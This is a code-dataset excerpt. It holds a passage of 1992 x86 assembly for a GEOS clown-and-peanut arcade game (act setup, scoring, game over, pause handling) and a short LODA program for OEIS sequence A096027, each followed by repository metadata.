ContentSendTomato endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SendPeanutCommon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Send either a peanut or a smart peanut CALLED BY: PASS: ss:bp - PeanutParams *ds:si - content ds:di - content ax - size of array bx - offset in AmateurContent instance data to array RETURN: nothing DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SendPeanutCommon proc near uses di,si class AmateurContentClass .enter EC < call ECCheckContentDSDI > mov ax, ds:[di].VCNI_viewHeight mov dx, es:[clownHeight] shr dx, 1 sub ax, dx mov [bp].MP_viewHeight, ax call FindFreeObject jnc done tst ss:[bp].MP_actPeanuts ; see if any more peanuts jz done ; See if the screen is currently full mov ax, ss:[bp].MP_screenPeanuts cmp ax, ss:[bp].MP_maxScreenPeanuts je done ; Increment the number of peanuts on-screen, decrement total ; number for this act inc ss:[bp].MP_screenPeanuts dec ss:[bp].MP_actPeanuts ; Send it the message inc ds:[si].HS_status mov si, ds:[si].HS_handle mov ax, MSG_MOVE_START call ObjCallInstanceNoLock done: .leave ret SendPeanutCommon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentCheckActEnd %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Run through all data structures, see if everything is done CALLED BY: PASS: *ds:si - Content object ds:di - content instance data RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/ 1/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentCheckActEnd proc near class AmateurContentClass .enter EC < call ECCheckContentDSDI > EC < call ECCheckContentDSSI > ; Make sure there aren't any objects moving mov cx, MAX_MOVABLE_OBJECTS lea bx, ds:[di].ACI_pellets startLoop: tst ds:[bx].HS_status jnz done add bx, size HandleStruct loop startLoop call ContentEndAct done: .leave ret ContentCheckActEnd endp COMMENT @--------------------------------------------------------------------- ContentEndAct ------------------------------------------------------------------------------ SYNOPSIS: Give player bonus points for each unused pellet check for no clowns left -- if so, end game increment the "level" counter check for score going over multiples of 20,000. If so, give player a random clown CALLED BY: PASS: RETURN: DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ ContentEndAct proc near class AmateurContentClass .enter EC < call ECCheckContentDSSI > EC < call ECCheckContentDSDI > mov ds:[di].ACI_status, AGS_BETWEEN_ACTS call ContentStopTimer mov ax, MSG_BITMAP_DRAW_IF_NEEDED call CallAllBitmaps ; Update score for remaining clowns call ContentTallyClowns ; Update score for extra pellets mov cx, ds:[di].ACI_actInfo.AI_pellets jcxz afterPellets startLoop: adddw ds:[di].ACI_score, SCORE_PELLET_LEFT dec ds:[di].ACI_actInfo.AI_pellets call ContentDisplayScore call ContentDisplayPelletsLeft loop startLoop afterPellets: ; Figure out if user gets a new clown movdw dxax, ds:[di].ACI_scoreLastAct mov cx, SCORE_EXTRA_CLOWN div cx mov bx, ax movdw dxax, ds:[di].ACI_score div cx sub ax, bx ; number of extra clowns call MakeClownsAlive ; Figure out if game over tst ds:[di].ACI_clownsLeft jnz gameNotOver call ContentGameOver jmp done gameNotOver: inc ds:[di].ACI_act call ContentPrepareNextAct done: .leave ret ContentEndAct endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentPrepareNextAct %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: start an act CALLED BY: PASS: ds:di - content RETURN: nothing DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/ 7/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentPrepareNextAct proc near uses di,si class AmateurContentClass .enter EC < call ECCheckContentDSDI > EC < call ECCheckContentDSSI > mov ds:[di].ACI_status, AGS_BETWEEN_ACTS mov di, ds:[si] add di, ds:[di].Vis_offset clr ds:[di].ACI_screenPeanuts clr ds:[di].ACI_screenTomatoes movdw ds:[di].ACI_scoreLastAct, ds:[di].ACI_score, ax call DisplayAct call ContentSetActInfo ; Set all pellets/peanuts/clouds to "unused" status clr al lea bx, ds:[di].ACI_pellets mov cx, MAX_MOVABLE_OBJECTS resetLoop: mov ds:[bx].HS_status, al add bx, size HandleStruct loop resetLoop mov bp, es:[gstate] mov ax, MSG_VIS_DRAW call ContentDraw call ContentChooseJoke mov cx, START_ACT_INTERVAL mov dx, MSG_CONTENT_START_ACT call ContentSetupTimer .leave ret ContentPrepareNextAct endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentGameOver %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: End the game CALLED BY: PASS: RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/10/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentGameOver proc near class AmateurContentClass .enter EC < call ECCheckContentDSDI > mov ds:[di].ACI_sound, ST_GAME_OVER call ContentPlaySound mov ds:[di].ACI_status, AGS_OVER call DisplayGameOverText mov ax, INTERVAL_GAME_OVER call TimerSleep movdw dxcx, ds:[di].ACI_score mov ax, MSG_HIGH_SCORE_ADD_SCORE mov bx, handle AmateurHighScore mov si, offset AmateurHighScore clr bp clr di call ObjMessage ; ; Nuke the Abort and Pause triggers ; clr cl call EnableTriggers .leave ret ContentGameOver endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentSetActInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the act data for the content for the current act. CALLED BY: PASS: ds:di - content es - idata RETURN: nothing DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/ 8/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentSetActInfo proc near uses di,si class AmateurContentClass .enter EC < call ECCheckContentDSDI > mov ax, ds:[di].ACI_act dec ax Min ax, <MAX_ACT-1> mov bx, size ActInfo mul bx mov si, ax add si, offset ActTable lea di, ds:[di].ACI_actInfo mov cx, size ActInfo/2 segxchg ds, es, ax rep movsw segxchg ds, es, ax .leave ret ContentSetActInfo endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetColorInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the color information based on the display type. CALLED BY: PASS: RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/23/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetColorInfo proc near uses ax,cx,di,si,es,ds class AmateurContentClass .enter mov al, es:[displayType] andnf al, mask DT_DISP_CLASS cmp al, DC_GRAY_1 shl offset DT_DISP_CLASS jne color mov si, offset BWColorTable jmp copy color: mov si, offset ColorColorTable copy: lea di, ds:[di].ACI_colorInfo segxchg ds, es, cx mov cx, size ColorInfo/2 rep movsw .leave ret SetColorInfo endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ECCheckContentDSSI %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: PASS: *ds:si - content RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/ 1/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if ERROR_CHECK ECCheckContentDSSI proc near .enter pushf cmp si, offset ContentObject ERROR_NE SI_NOT_POINTING_AT_CONTENT_OBJECT popf call ECCheckObject .leave ret ECCheckContentDSSI endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ECCheckContentDSDI %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: PASS: RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/ 7/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ECCheckContentDSDI proc near uses si .enter pushf assume ds:GameObjects mov si, ds:[ContentObject] add si, ds:[si].Vis_offset cmp si, di ERROR_NE DS_DI_NOT_POINTING_AT_CONTENT_OBJECT popf assume ds:dgroup .leave ret ECCheckContentDSDI endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MakeClownsAlive %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Bring a number of clowns back to life CALLED BY: PASS: ax - number of clowns to restore (usually 1) RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/ 8/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MakeClownsAlive proc near uses ax,bx,cx,dx,di,si,bp class AmateurContentClass .enter EC < call ECCheckContentDSDI > EC < call ECCheckContentDSSI > outerLoop: tst ax jz done cmp ds:[di].ACI_clownsLeft, NUM_CLOWNS je done mov ds:[di].ACI_sound, ST_EXTRA_CLOWN inc ds:[di].ACI_clownsLeft dec ax push ax findDeadClown: mov dx, NUM_CLOWNS call GameRandom mov ax, MSG_CLOWN_GET_STATUS mov bx, dx call CallClown cmp cl, CS_ALIVE je findDeadClown ; bx is number of clown to make alive mov ax, MSG_CLOWN_SET_STATUS mov cl, CS_ALIVE call CallClown pop ax jmp outerLoop done: call DrawClowns .leave ret MakeClownsAlive endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CallClown %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: send a message to a clown CALLED BY: MakeClownsAlive PASS: ax - message bx - clown # cx, dx, bp - message data RETURN: ax,cx,dx,bp - returned by clown DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/ 8/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CallClown proc near uses bx, si .enter shl bx, 1 mov si, cs:clownTable[bx] call ObjCallInstanceNoLock .leave ret CallClown endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CallAllClowns %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Call all clowns CALLED BY: PASS: ax, cx, dx, bp - message data RETURN: ax, cx, dx, bp - returned from clowns DESTROYED: nothing PSEUDO CODE/STRATEGY: CALLED ROUTINE: can destroy/modify cx,dx,bp KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/ 8/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CallAllClowns proc near uses bx, si .enter mov bx, (offset clownTable) + (size clownTable) mov si, offset clownTable call CallObjects .leave ret CallAllClowns endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CallAllBitmaps %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: call all blasters & clowns CALLED BY: PASS: ax,cx,dx,bp - message data RETURN: ax,cx,dx,bp - returned from called object DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/25/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CallAllBitmaps proc near uses bx,si .enter mov bx, (offset bitmapTable) + (size bitmapTable) mov si, offset bitmapTable call CallObjects .leave ret CallAllBitmaps endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CallObjects %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: PASS: RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/25/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CallObjects proc near .enter startLoop: push ax, si mov si, cs:[si] call ObjCallInstanceNoLock pop ax, si jc done add si, 2 cmp si, bx jl startLoop done: .leave ret CallObjects endp bitmapTable word \ offset LeftBlaster, offset Clown0, offset Clown1, offset Clown2, offset Clown3, offset Clown4, offset Clown5, offset RightBlaster clownTable word \ offset Clown0, offset Clown1, offset Clown2, offset Clown3, offset Clown4, offset Clown5 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EnableTriggers %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: PASS: cl - TriggerFlags RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EnableTriggers proc near uses ax,bx,cx,dx,di,si,bp .enter clr bp mov bx, handle Interface mov dl, VUM_DELAYED_VIA_UI_QUEUE mov di, mask MF_FORCE_QUEUE startLoop: mov si, cs:TriggerTable[bp] shl cl jnc disable mov ax, MSG_GEN_SET_ENABLED jmp sendIt disable: mov ax, MSG_GEN_SET_NOT_ENABLED sendIt: push ax, cx, dx, bp call ObjMessage pop ax, cx, dx, bp add bp, 2 cmp bp, size TriggerTable jl startLoop .leave ret EnableTriggers endp TriggerTable word \ offset AbortTrigger, offset PauseTrigger, offset ContinueTrigger COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentTallyClowns %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: add up scores for each remaining clown CALLED BY: PASS: RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/14/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentTallyClowns proc near class AmateurContentClass .enter clr ax push ax ; CSP_scoreTally mov ax, STD_TEXT_HEIGHT push ax ; CSP_textHeight mov ax, SCORE_CLOWN_ADDER push ax ; CSP_scoreAdder mov ax, SCORE_CLOWN push ax ; CSP_score push ds:[di].ACI_colorInfo.CI_Tomato mov bp, sp mov ax, MSG_CLOWN_TALLY_SCORE call CallAllClowns mov ax, ss:[bp].CSP_scoreTally clr bx adddw ds:[di].ACI_score, bxax add sp, size ClownScoreParams .leave ret ContentTallyClowns endp Stub proc near ret Stub endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentDisplay %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Update the display CALLED BY: PASS: RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/14/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentDisplay proc near uses bp class AmateurContentClass .enter call ContentPlaySound mov ax, MSG_BITMAP_DRAW_IF_NEEDED call CallAllBitmaps test ds:[di].ACI_display, mask DF_SCORE jz afterDisplayScore call ContentDisplayScore andnf ds:[di].ACI_display, not mask DF_SCORE afterDisplayScore: test ds:[di].ACI_display, mask DF_PELLETS_LEFT jz done call ContentDisplayPelletsLeft andnf ds:[di].ACI_display, not mask DF_PELLETS_LEFT done: .leave ret ContentDisplay endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentStartAct %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Start the next act PASS: *ds:si = GameContentClass object ds:di = AmateurContentClass instance data es = Segment of AmateurContentClass. RETURN: nothing DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/25/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentStartAct method dynamic AmateurContentClass, MSG_CONTENT_START_ACT uses ax,cx,dx,bp .enter cmp ds:[di].ACI_status, AGS_BETWEEN_ACTS jne done mov ds:[di].ACI_status, AGS_RUNNING push si mov cx, IC_DISMISS mov ax, MSG_GEN_GUP_INTERACTION_COMMAND mov bx, handle JokeSummons mov si, offset JokeSummons mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop si mov di, ds:[si] add di, ds:[di].Vis_offset call ContentStartTimer ornf ds:[di].ACI_display, mask DF_PELLETS_LEFT or\ mask DF_SCORE done: .leave ret ContentStartAct endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentLostKbd %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Stops the game timers and temporarily pauses. CALLED BY: GLOBAL PASS: nada RETURN: nada DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cbh 11/28/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentLostKbd method dynamic AmateurContentClass, MSG_META_LOST_KBD_EXCL, MSG_META_LOST_SYS_TARGET_EXCL, MSG_META_LOST_SYS_FOCUS_EXCL mov ax, MSG_CONTENT_TEMP_PAUSE call ObjCallInstanceNoLock ret ContentLostKbd endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentGainedKbd %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Restarts the game timers. CALLED BY: GLOBAL PASS: nada RETURN: nada DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cbh 1/14/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentGainedKbd method dynamic AmateurContentClass, MSG_META_GAINED_KBD_EXCL, MSG_META_GAINED_SYS_TARGET_EXCL, MSG_META_GAINED_SYS_FOCUS_EXCL mov ax, MSG_CONTENT_END_TEMP_PAUSE call ObjCallInstanceNoLock ret ContentGainedKbd endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentTempPause %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: PASS: *ds:si = AmateurContentClass object ds:di = AmateurContentClass instance data es = Segment of AmateurContentClass. RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/25/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentTempPause method dynamic AmateurContentClass, MSG_CONTENT_TEMP_PAUSE cmp ds:[di].ACI_status, AGS_RUNNING jne done mov ds:[di].ACI_status, AGS_TEMP_PAUSED done: ret ContentTempPause endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentEndTempPause %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: PASS: *ds:si = AmateurContentClass object ds:di = AmateurContentClass instance data es = Segment of AmateurContentClass. RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/25/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentEndTempPause method dynamic AmateurContentClass, MSG_CONTENT_END_TEMP_PAUSE cmp ds:[di].ACI_status, AGS_TEMP_PAUSED jne done call ContentStartTimer ; will set status to RUNNING done: ret ContentEndTempPause endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentEndCloud %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Call all blasters, clowns to see if they should redraw selves. CALLED BY: PASS: cx, dx - position of cloud RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/25/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentEndCloud proc near .enter mov ax, MSG_BITMAP_CHECK_CLOUD call CallAllBitmaps .leave ret ContentEndCloud endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentSetClownMonikers %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Assign one moniker to each clown, making sure that all six are assigned CALLED BY: PASS: RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/26/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentSetClownMonikers proc near uses ax,bx,cx,dx,di,si,bp .enter mov cx, NUM_CLOWNS mov ax, MSG_CLOWN_SET_MONIKER startLoop: ; pick a clown to have this moniker mov dx, NUM_CLOWNS call GameRandom mov bx, dx call CallClown jc startLoop ; carry. Choose another clown ; instead. ; Now, on to the next loop startLoop .leave ret ContentSetClownMonikers endp
20.2819
80
0.557959
d37cb54fca57b2791f3fc3046c5f21d29087a75a
360
asm
Assembly
programs/oeis/096/A096027.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/096/A096027.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/096/A096027.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A096027: Numbers n such that (n+j) mod (2+j) = 1 for j from 0 to 10 and (n+11) mod 13 <> 1. ; 27723,55443,83163,110883,138603,166323,194043,221763,249483,277203,304923,332643,388083,415803,443523,471243,498963,526683,554403,582123,609843,637563,665283,693003,748443,776163,803883,831603,859323,887043 mov $1,$0 div $0,12 add $1,$0 mul $1,27720 add $1,27723
40
208
0.741667
aad89e1f9f2aa61f1690a3777fdd54198b408ff9
2,851
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_34_1393.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_34_1393.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_34_1393.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
